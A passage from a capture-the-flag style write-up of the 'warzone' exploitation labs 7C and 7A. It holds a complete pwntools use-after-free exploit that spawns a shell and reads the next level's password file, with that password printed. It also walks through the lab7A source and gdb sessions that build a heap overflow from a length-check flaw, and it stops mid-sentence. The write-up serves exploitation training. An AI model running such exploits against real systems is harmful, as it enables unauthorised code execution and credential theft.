100vw, 567px\" \/><\/p>\n<p>The only thing left to do is to call the <code>print<\/code> function of <code>struct data<\/code> using the dangling pointer:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_e.png\" alt=\"\" width=\"567\" height=\"491\" class=\"alignnone size-full wp-image-399\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_e.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_e-300x260.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>The function <code>__libc_system<\/code> gets called passing the member variable <code>buffer<\/code>, which contains the string <code>\"\/bin\/sh\"<\/code>.<\/p>\n<p>The following python-script does all this steps and calculates the address of <code>__libc_system<\/code>:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ cat \/tmp\/exploit_lab7C.py\r\nfrom pwn import *\r\n\r\np = process(&quot;.\/lab7C&quot;)\r\n\r\n# *******************************************************\r\n# step 1: leak memory-address\r\n\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;2&quot;)                # 2. Make a number\r\np.sendline(&quot;1337&quot;)             #    --&gt; 1337\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;4&quot;)                # 4. Delete a number\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;1&quot;)                # 1. Make a string\r\np.sendline(&quot;\/bin\/sh&quot;)          #    --&gt; &quot;\/bin\/sh&quot;\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;6&quot;)                # 6. Print a number\r\np.sendline(&quot;1&quot;)                #    --&gt; index = 1\r\n\r\n# --&gt; output contains address of small_str\r\nret = p.recvuntil(&quot;Enter Choice: &quot;)\r\naddr_small_str = int(ret&#x5B;ret.index(&quot;enough: &quot;)+8:ret.index(&quot;\\n&quot;)], 10)\r\nlog.info(&quot;addr_small_str: &quot; + hex(addr_small_str))\r\n\r\n# --&gt; calculate actutal address of system\r\naddr_system = addr_small_str - 0x19da37\r\n\r\n\r\n# *******************************************************\r\n# step 2: call system(&quot;\/bin\/sh&quot;)\r\n\r\np.sendline(&quot;3&quot;)               # 3. Delete a string\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;2&quot;)               # 2. Make a number\r\np.sendline(str(addr_system))  #    --&gt; address of system\r\np.recvuntil(&quot;Enter Choice: &quot;)\r\np.sendline(&quot;5&quot;)               # 5. Print a string\r\np.sendline(&quot;1&quot;)               #    --&gt; index = 1\r\np.recv(100)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ python \/tmp\/exploit_lab7C.py\r\n&#x5B;+] Starting program '.\/lab7C': Done\r\n&#x5B;*] addr_small_str: 0xb7710bc7\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab7A\r\n$ cat \/home\/lab7A\/.pass\r\nus3_4ft3r_fr33s_4re_s1ck\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for level A is <code>us3_4ft3r_fr33s_4re_s1ck<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab7A\">lab7A<\/h1>\n<p>We can connect to the level using the previously achieved credentials <span style=\"color: #ff0000;\">lab7A<\/span> with the password <span style=\"color: #ff0000;\">us3_4ft3r_fr33s_4re_s1ck<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab7A@localhost\r\n&#x5B;sudo] password for gameadmin:\r\nlab7A@localhost's password: (us3_4ft3r_fr33s_4re_s1ck)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Mon Jan 22 05:48:49 2018 from localhost\r\n<\/pre>\n<p>Let&#8217;s have a look at the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [1,16,17,18,19,20,21,23,34,69,89,91,93,94,99,109,110,114,117,120,125,132,144,145,148,154,161,171,172,173,179,186,196,202,217,236,243,250,257,262]; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ cat lab7A.c\r\n\/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c *\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;time.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nENABLE_TIMEOUT(60)\r\n\r\n#define MAX_MSG    10\r\n#define MAX_BLOCKS 32\r\n#define BLOCK_SIZE 4\r\n\r\nstruct msg {\r\n    void (* print_msg)(struct msg *);\r\n    unsigned int xor_pad&#x5B;MAX_BLOCKS];\r\n    unsigned int message&#x5B;MAX_BLOCKS];\r\n    unsigned int msg_len;\r\n};\r\n\r\nstruct msg * messages&#x5B;MAX_MSG];\r\n\r\n\/* apply one time pad *\/\r\nvoid encdec_message(unsigned int * message, unsigned int * xor_pad)\r\n{\r\n    int i = 0;\r\n    for(i = 0; i &lt; MAX_BLOCKS; i++)\r\n        message&#x5B;i] ^= xor_pad&#x5B;i];\r\n}\r\n\r\n\/* print information about the given message *\/\r\nvoid print_message(struct msg * to_print)\r\n{\r\n    unsigned int i = 0;\r\n    char * xor_pad;\r\n    char * message;\r\n\r\n    xor_pad = (char *)&amp;to_print-&gt;xor_pad;\r\n    message = (char *)&amp;to_print-&gt;message;\r\n\r\n    \/* print the message's xor pad *\/\r\n    printf(&quot;\\nXOR Pad: \\n&quot;\r\n           &quot;-----------------------------------------\\n&quot;);\r\n\r\n    for(i = 0; i &lt; BLOCK_SIZE*MAX_BLOCKS; i++)\r\n    {\r\n        printf(&quot;%02x&quot;, xor_pad&#x5B;i] &amp; 0xFF);\r\n        if(i % 32 == 31)\r\n            puts(&quot;&quot;);\r\n    }\r\n\r\n    \/* print encrypted message *\/\r\n    printf(&quot;\\nEncrypted Message: \\n&quot;\r\n           &quot;-----------------------------------------\\n&quot;);\r\n\r\n    for(i = 0; i &lt; BLOCK_SIZE*MAX_BLOCKS; i++)\r\n    {\r\n        printf(&quot;%02x&quot;, message&#x5B;i] &amp; 0xFF);\r\n        if(i % 32 == 31)\r\n            puts(&quot;&quot;);\r\n    }\r\n\r\n    puts(&quot;&quot;);\r\n}\r\n\r\n\/* creates a message *\/\r\nint create_message()\r\n{\r\n    int i, j;\r\n    struct msg * new_msg = NULL;\r\n\r\n    \/* find a free message slot *\/\r\n    for(i = 0; i &lt; MAX_MSG; i++)\r\n        if(messages&#x5B;i] == NULL)\r\n            break;\r\n\r\n    \/* make sure we actually found an empty slot *\/\r\n    if(messages&#x5B;i])\r\n    {\r\n        printf(&quot;-No message slots left!\\n&quot;);\r\n        return 1;\r\n    }\r\n\r\n    printf(&quot;-Using message slot #%u\\n&quot;, i);\r\n\r\n    \/* initialize new message *\/\r\n    new_msg = malloc(sizeof(struct msg));\r\n    memset(new_msg, 0, sizeof(struct msg));\r\n    new_msg-&gt;print_msg = &amp;print_message;\r\n\r\n    for(j = 0; j &lt; MAX_BLOCKS; j++)\r\n        new_msg-&gt;xor_pad&#x5B;j] = rand();\r\n\r\n    \/* get the length of data the user intends to encrypt *\/\r\n    printf(&quot;-Enter data length: &quot;);\r\n\r\n    new_msg-&gt;msg_len = get_unum();\r\n\r\n    if(new_msg-&gt;msg_len == 0)\r\n    {\r\n        printf(&quot;-Message length must be greater than zero!\\n&quot;);\r\n        free(new_msg);\r\n        return 1;\r\n    }\r\n\r\n    \/* make sure the message length is no bigger than the xor pad *\/\r\n    if((new_msg-&gt;msg_len \/ BLOCK_SIZE) &gt; MAX_BLOCKS)\r\n        new_msg-&gt;msg_len = BLOCK_SIZE * MAX_BLOCKS;\r\n\r\n    \/* read in the message to encrypt with the xor pad *\/\r\n    printf(&quot;-Enter data to encrypt: &quot;);\r\n    read(0, &amp;new_msg-&gt;message, new_msg-&gt;msg_len);\r\n\r\n    \/* encrypt message *\/\r\n    encdec_message(new_msg-&gt;message, new_msg-&gt;xor_pad);\r\n\r\n    \/* save the new message to the global list *\/\r\n    messages&#x5B;i] = new_msg;\r\n\r\n    return 0;\r\n}\r\n\r\nint edit_message()\r\n{\r\n    char numbuf&#x5B;32];\r\n    unsigned int i = 0;\r\n\r\n    \/* get message index to destroy *\/\r\n    printf(&quot;-Input message index to edit: &quot;);\r\n    fgets(numbuf, sizeof(numbuf), stdin);\r\n    i = strtoul(numbuf, NULL, 10);\r\n\r\n    if(i &gt;= MAX_MSG || messages&#x5B;i] == NULL)\r\n    {\r\n        printf(&quot;-Invalid message index!\\n&quot;);\r\n        return 1;\r\n    }\r\n\r\n    printf(&quot;-Input new message to encrypt: &quot;);\r\n\r\n    \/* clear old message, and read in a new one *\/\r\n    memset(&amp;messages&#x5B;i]-&gt;message, 0, BLOCK_SIZE * MAX_BLOCKS);\r\n    read(0, &amp;messages&#x5B;i]-&gt;message, messages&#x5B;i]-&gt;msg_len);\r\n\r\n    \/* encrypt message *\/\r\n    encdec_message(messages&#x5B;i]-&gt;message, messages&#x5B;i]-&gt;xor_pad);\r\n\r\n    return 0;\r\n}\r\n\r\n\/* free a secure message *\/\r\nint destroy_message()\r\n{\r\n    char numbuf&#x5B;32];\r\n    unsigned int i = 0;\r\n\r\n    \/* get message index to destroy *\/\r\n    printf(&quot;-Input message index to destroy: &quot;);\r\n    fgets(numbuf, sizeof(numbuf), stdin);\r\n    i = strtoul(numbuf, NULL, 10);\r\n\r\n    if(i &gt;= MAX_MSG || messages&#x5B;i] == NULL)\r\n    {\r\n        printf(&quot;-Invalid message index!\\n&quot;);\r\n        return 1;\r\n    }\r\n\r\n    \/* destroy message *\/\r\n    memset(messages&#x5B;i], 0, sizeof(struct msg));\r\n    free(messages&#x5B;i]);\r\n    messages&#x5B;i] = NULL;\r\n\r\n    return 0;\r\n}\r\n\r\n\/* print a message at a select index *\/\r\nint print_index()\r\n{\r\n    char numbuf&#x5B;32];\r\n    unsigned int i = 0;\r\n\r\n    \/* get message index to print *\/\r\n    printf(&quot;-Input message index to print: &quot;);\r\n    fgets(numbuf, sizeof(numbuf), stdin);\r\n    i = strtoul(numbuf, NULL, 10);\r\n\r\n    if(i &gt;= MAX_MSG || messages&#x5B;i] == NULL)\r\n    {\r\n        printf(&quot;-Invalid message index!\\n&quot;);\r\n        return 1;\r\n    }\r\n\r\n    \/* print the message of interest *\/\r\n    messages&#x5B;i]-&gt;print_msg(messages&#x5B;i]);\r\n\r\n    return 0;\r\n}\r\n\r\n\/* the vulnerability is in here *\/\r\nvoid print_menu()\r\n{\r\n    printf(&quot;+---------------------------------------+\\n&quot;\r\n           &quot;|        Doom's OTP Service v1.0        |\\n&quot;\r\n           &quot;+---------------------------------------+\\n&quot;\r\n           &quot;|------------ Services Menu ------------|\\n&quot;\r\n           &quot;|---------------------------------------|\\n&quot;\r\n           &quot;| 1. Create secure message              |\\n&quot;\r\n           &quot;| 2. Edit secure message                |\\n&quot;\r\n           &quot;| 3. Destroy secure message             |\\n&quot;\r\n           &quot;| 4. Print message details              |\\n&quot;\r\n           &quot;| 5. Quit                               |\\n&quot;\r\n           &quot;+---------------------------------------+\\n&quot;);\r\n}\r\n\r\nint main()\r\n{\r\n    int choice = 0;\r\n    srand(time(NULL));\r\n    disable_buffering(stdout);\r\n\r\n    while(1)\r\n    {\r\n        print_menu();\r\n\r\n        \/* get menu option *\/\r\n        printf(&quot;Enter Choice: &quot;);\r\n        choice = get_unum();\r\n\r\n        printf(&quot;-----------------------------------------\\n&quot;);\r\n\r\n        \/* handle menu selection *\/\r\n        if(choice == 1)\r\n        {\r\n            if(create_message())\r\n                printf(&quot;-Failed to create message!\\n&quot;);\r\n            else\r\n                printf(&quot;-Message created successfully!\\n&quot;);\r\n        }\r\n        else if(choice == 2)\r\n        {\r\n            if(edit_message())\r\n                printf(&quot;-Failed to edit message!\\n&quot;);\r\n            else\r\n                printf(&quot;-Message has been successfully modified!\\n&quot;);\r\n        }\r\n        else if(choice == 3)\r\n        {\r\n            if(destroy_message())\r\n                printf(&quot;-Failed to destroy message!\\n&quot;);\r\n            else\r\n                printf(&quot;-Message destroyed!\\n&quot;);\r\n        }\r\n        else if(choice == 4)\r\n        {\r\n            if(print_index())\r\n                printf(&quot;-Failed to print message!\\n&quot;);\r\n        }\r\n        else if(choice == 5)\r\n        {\r\n            break;  \/\/ exit\r\n        }\r\n        else\r\n            printf(&quot;-Invalid choice!\\n&quot;);\r\n\r\n        choice = 0;\r\n        puts(&quot;&quot;);\r\n    }\r\n\r\n    printf(&quot;See you tomorrow!\\n&quot;);\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; The binary is compiled with the flag <code>-static<\/code> (line 1). This means that the binary has all required functions built in.<br \/>\n&#8211;&gt; A struct named <code>msg<\/code> is defined (lines 16-21) which contains a function-pointer (<code>print_msg<\/code>), two unsigned integer arrays (<code>xor_pad<\/code> and <code>message<\/code>) and a single unsigned integer member (<code>msg_len<\/code>).<br \/>\n&#8211;&gt; There is a global array (<code>messages<\/code>) defined to contain pointers to <code>struct msg<\/code> instances (line 23).<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 217) a menu is displayed by calling <code>print_menu<\/code> (line 202) giving the following options:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Creating \/ Editing \/ Destroying secure message.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Printing message details.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Quitting the program.<\/p>\n<p>&#8211;&gt; When <code>1. Create secure message<\/code> is selected, the function <code>create_message<\/code> is called (line 236).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>create_message<\/code> (line 69) searches for an empty slot in <code>messages<\/code> and allocates memory for a new message (line 89).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The member-function <code>print_msg<\/code> is set to the address of the function <code>print_message<\/code> (line 91).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The array <code>new_msg->xor_pad<\/code> is initialized with random values (lines 93-94).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>new_msg->msg_len<\/code> is set by reading a value from the user (line 99).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If <code>new_msg->msg_len<\/code> is too big, it is set to the maximum amount of bytes which can be stored in <code>new_msg->message<\/code> (lines 109-110).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The function <code>read<\/code> is used to read a user input from <code>stdin<\/code> to <code>new_msg->message<\/code> (line 114).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; This messages is encrypted by calling <code>encdec_message<\/code> (line 117).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; At last the address of the newly created object <code>new_msg<\/code> is stored in the global array <code>messages<\/code> (line 120).<\/p>\n<p>&#8211;&gt; When selecting <code>2. Edit secure message<\/code>, the function <code>edit_message<\/code> is called (line 243).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>edit_message<\/code> (line 125) reads an index, zeroes out the <code>message<\/code> member variable and reads in a maximum amount of <code>msg_len<\/code> bytes as a new message (lines 132, 144-145).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; At last the new message is again encrypted using <code>encdec_message<\/code> (line 148).<\/p>\n<p>&#8211;&gt; By choosing <code>3. Destroy secure message<\/code> the function <code>destroy_message<\/code> is called (line 250).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>destroy_message<\/code> (line 154) also reads an index and zeros out the <code>message<\/code> member variable (lines 161, 171).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; After this the memory for the <code>struct msg<\/code> is deallocated using <code>free<\/code> (line 172).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The struct pointer within the global array <code>messages<\/code> is then set to <code>NULL<\/code> (line 173).<\/p>\n<p>&#8211;&gt; When <code>4. Print message details<\/code> is selected, the function <code>print_index<\/code> is called (line 257).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>print_index<\/code> (line 179) yet again reads an index (line 186).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; If the index is valid, the <code>print_msg<\/code> member-function is called passing the whole struct (line 196).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; As the <code>print_msg<\/code> member-function is initialized with <code>print_message<\/code>, this function gets called.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>print_message<\/code> (line 34) prints the XOR pad and the encrypted message.<\/p>\n<p>&#8211;&gt; <code>5. Quit<\/code> breaks out of the loop (line 262) und thus quits the program.<\/p>\n<p>There is also an additional readme file stating that this is a remote challenge much like in <a href=\"https:\/\/www.devel0pment.de\/?p=378#lab6B\">lab6B<\/a>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ cat lab7A.readme\r\nlab7A is a remote level much like lab6B. It is running on port 7741.\r\n\r\nnc wargame.server.example 7741 -vvv\r\n<\/pre>\n<p>Where is the vulnerability within the program?<\/p>\n<p>This question took me a time. While it has been very easy to spot the vulnerabilities in the first labs, it was quite hard to discover the vulnerability within the code above. After trying around a little bit with the program, I figured out that when choosing a <code>msg_len<\/code> so that <code>128 &lt; msg_len &lt; 132<\/code> the value will not be reset to the maximum amount of <code>128<\/code>. The following lines of code are causing this behaviour:<\/p>\n<pre class=\"brush: cpp; first-line: 109; title: ; notranslate\" title=\"\">\r\n    if((new_msg-&gt;msg_len \/ BLOCK_SIZE) &gt; MAX_BLOCKS)\r\n        new_msg-&gt;msg_len = BLOCK_SIZE * MAX_BLOCKS;\r\n<\/pre>\n<p><code>msg_len<\/code> is an unsigned integer and the macro <code>BLOCK_SIZE<\/code> is also an integer (<code>4<\/code>). This means that the division within the if-statement is in whole numbers:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&gt;&gt;&gt; 127\/4\r\n31\r\n&gt;&gt;&gt; 128\/4\r\n32\r\n&gt;&gt;&gt; 129\/4\r\n32\r\n&gt;&gt;&gt; 130\/4\r\n32\r\n&gt;&gt;&gt; 131\/4\r\n32\r\n&gt;&gt;&gt; 132\/4\r\n33\r\n<\/pre>\n<p>As the remains are not taken into account, the if-condition evaluates to <code>true<\/code> only when <code>msg_len<\/code> is bigger than <code>131<\/code>. This means that we can overflow the member variable <code>message<\/code> by 3 bytes! And what resides within the memory after <code>message<\/code>? Exactly! <code>msg_len<\/code>. Thus we can set <code>msg_len<\/code> do an even bigger number and than use <code>edit_message<\/code> to overflow <code>message<\/code> by a lot of more bytes than just 3 possibly overwriting the next chunk on the heap.<\/p>\n<p>Fortunately the binary is not compiled as position independent code. Thus we know the address of the global array <code>messages<\/code> which holds the heap pointers:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; is~messages\r\nvaddr=0x080eef60 paddr=0x000a6f60 ord=1841 fwd=NONE sz=40 bind=GLOBAL type=OBJECT name=messages\r\n<\/pre>\n<p>Now let&#8217;s try to overflow <code>message<\/code> inspecting the heap using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,10,16,19,20,34,37,39]; title: ; notranslate\" title=\"\">\r\nlab7A@warzone:\/levels\/lab07$ gdb .\/lab7A\r\nReading symbols from .\/lab7A...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab07\/lab7A\r\n+---------------------------------------+\r\n|        Doom's OTP Service v1.0        |\r\n+---------------------------------------+\r\n|------------ Services Menu ------------|\r\n|---------------------------------------|\r\n| 1. Create secure message              |\r\n| 2. Edit secure message                |\r\n| 3. Destroy secure message             |\r\n| 4. Print message details              |\r\n| 5. Quit                               |\r\n+---------------------------------------+\r\nEnter Choice: 1\r\n-----------------------------------------\r\n-Using message slot #0\r\n-Enter data length: 131\r\n-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n-Message created successfully!\r\n\r\n+---------------------------------------+\r\n|        Doom's OTP Service v1.0        |\r\n+---------------------------------------+\r\n|------------ Services Menu ------------|\r\n|---------------------------------------|\r\n| 1. Create secure message              |\r\n| 2. Edit secure message                |\r\n| 3. Destroy secure message             |\r\n| 4. Print message details              |\r\n| 5. Quit                               |\r\n+---------------------------------------+\r\nEnter Choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/x 0x080eef60\r\n0x80eef60 &lt;messages&gt;:   0x080f19d8\r\ngdb-peda$ x\/80xw 0x080f19d8-8\r\n0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f\r\n0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8\r\n0x80f19f0:      0x497bca52      0x29524eb3      0x767ac622      0x14af9260\r\n0x80f1a00:      0x0bd24bc5      0x3a9a828a      0x567926e0      0x160526ae\r\n0x80f1a10:      0x1ddc5410      0x39638154      0x24d7bcfe      0x5597d31d\r\n0x80f1a20:      0x2a9eb757      0x1dd2bbce      0x6636ac89      0x69aaaaca\r\n0x80f1a30:      0x758f3b73      0x3599619f      0x530282ba      0x6e053b1c\r\n0x80f1a40:      0x2d114a84      0x3e14113b      0x0f1f7049      0x0284b841\r\n0x80f1a50:      0x301050fe      0x747b4935      0x0a120f71      0x46cc166e\r\n0x80f1a60:      0x523cf490      0x3c55b428      0x6e65beda      0x5c4346f9\r\n0x80f1a70:      0x083a8b13      0x68130ff2      0x373b8763      0x55eed321\r\n0x80f1a80:      0x4a930a84      0x7bdbc3cb      0x173867a1      0x574467ef\r\n0x80f1a90:      0x5c9d1551      0x7822c015      0x6596fdbf      0x14d6925c\r\n0x80f1aa0:      0x6bdff616      0x5c93fa8f      0x2777edc8      0x28ebeb8b\r\n0x80f1ab0:      0x34ce7a32      0x74d820de      0x1243c3fb      0x2f447a5d\r\n0x80f1ac0:      0x6c500bc5      0x7f55507a      0x4e5e3108      0x43c5f900\r\n0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141\r\n0x80f1ae0:      0x00000000      0x00020521      0x00000000      0x00000000\r\n0x80f1af0:      0x00000000      0x00000000      0x00000000      0x00000000\r\n0x80f1b00:      0x00000000      0x00000000      0x00000000      0x00000000\r\n<\/pre>\n<p>I created a new message using the length 131 and entered 130 * &#8220;A&#8221; (+ a newline character). At the address <code>0x080eef60<\/code> (<code>messages<\/code>) the first heap pointer is stored: <code>0x080f19d8<\/code>. I printed the memory beginning at <code>0x080f19d8-8<\/code> because the heap chunks begins 8 bytes before the memory where the actual data is stored:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_01.png\" alt=\"\" width=\"756\" height=\"340\" class=\"alignnone size-full wp-image-578\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_01.png 756w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7A_01-300x135.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>The first 4 bytes of the heap chunk contain the size of the previous chunk. The next 4 bytes contain the size of the chunk itself. Because of byte alignment the three least significant bits would always be zero and are used for flags:<br \/>\n&#8211;&gt; 0x04: The memory belongs to a thread arena.<br \/>\n&#8211;&gt; 0x02: The memory was allocated with the function <code>mmap<\/code>.<br \/>\n&#8211;&gt; 0x01: The previous chunk is in use.<\/p>\n<p>The chunk right after our chunk beginning at <code>0x80f1ae0<\/code> is the top of the heap also called <i>the wilderness<\/i>. The value <code>0x00020521<\/code> indicates that there are 0x20520 = 132384 bytes left for further allocations.<\/p>\n<p>As we can see within the data of our chunk, we have successfully overwritten <code>msg_len<\/code> with the value <code>0x000a4141<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141\r\n...\r\n<\/pre>\n<p>This means that we can use <code>edit_message<\/code> to overflow <code>message<\/code> by <code>0xa4141 - 128 = 671937<\/code> bytes. Of course we could set <code>msg_len<\/code> to an even bigger value, but this suffices to overwrite the next chunk on the heap.<\/p>\n<p>At first let&#8217;s create another message generating a second chunk on the heap after the one we already created:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,6,7,21,24,29,30,31]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n1\r\n-----------------------------------------\r\n-Using message slot #1\r\n-Enter data length: 4\r\n-Enter data to encrypt: AAA\r\n-Message created successfully!\r\n\r\n+---------------------------------------+\r\n|        Doom's OTP Service v1.0        |\r\n+---------------------------------------+\r\n|------------ Services Menu ------------|\r\n|---------------------------------------|\r\n| 1. Create secure message              |\r\n| 2. Edit secure message                |\r\n| 3. Destroy secure message             |\r\n| 4. Print message details              |\r\n| 5. Quit                               |\r\n+---------------------------------------+\r\nEnter Choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/80xw 0x080f19d8-8\r\n0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f\r\n0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8\r\n...\r\n0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x000a4141\r\n0x80f1ae0:      0x00000000      0x00000111      0x08048fd3      0x1fcab7ac\r\n0x80f1af0:      0x13c8adcd      0x59269ff2      0x5ad6c09d      0x76520b8c\r\n0x80f1b00:      0x3031749d      0x2a925bee      0x64adb511      0x41d6cbd2\r\n<\/pre>\n<p>The second messages has been stored in the chunk beginning at address <code>0x80f1ad0<\/code>. The first 4 bytes within the actual data contains the value <code>0x08048fd3<\/code>. This is the member-function <code>print_msg<\/code> which has been set to <code>print_message<\/code>.<\/p>\n<p>As the <code>msg_len<\/code> of our first message is big enough, we can now use the <code>edit_message<\/code> function to overwrite the second heap chunk:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,5,6,20,23,28,29]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n2\r\n-----------------------------------------\r\n-Input message index to edit: 0\r\n-Input new message to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE\r\n-Message has been successfully modified!\r\n\r\n+---------------------------------------+\r\n|        Doom's OTP Service v1.0        |\r\n+---------------------------------------+\r\n|------------ Services Menu ------------|\r\n|---------------------------------------|\r\n| 1. Create secure message              |\r\n| 2. Edit secure message                |\r\n| 3. Destroy secure message             |\r\n| 4. Print message details              |\r\n| 5. Quit                               |\r\n+---------------------------------------+\r\nEnter Choice: ^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngdb-peda$ x\/80xw 0x080f19d8-8\r\n0x80f19d0:      0x00000000      0x00000111      0x08048fd3      0x078d572f\r\n0x80f19e0:      0x137db5d1      0x7d14f569      0x2f24ff9b      0x1d0207b8\r\n...\r\n0x80f1ac0:      0x6c500bc5      0x7f55507a      0x4e5e3108      0x43c5f900\r\n0x80f1ad0:      0x715111bf      0x353a0874      0x4b534e30      0x42424242\r\n0x80f1ae0:      0x43434343      0x44444444      0x45454545      0x1fcab70a\r\n0x80f1af0:      0x13c8adcd      0x59269ff2      0x5ad6c09d      0x76520b8c\r\n0x80f1b00:      0x3031749d      0x2a925bee      0x64adb511      0x41d6cbd2\r\n<\/pre>\n<p>For the new message I entered <code>\"A\" * 128 + \"BBBBCCCCDDDDEEEE\"<\/code>. As you can see in the heap output, <code>0x42424242<\/code> (<code>\"BBBB\"<\/code>) overwrote the member variable 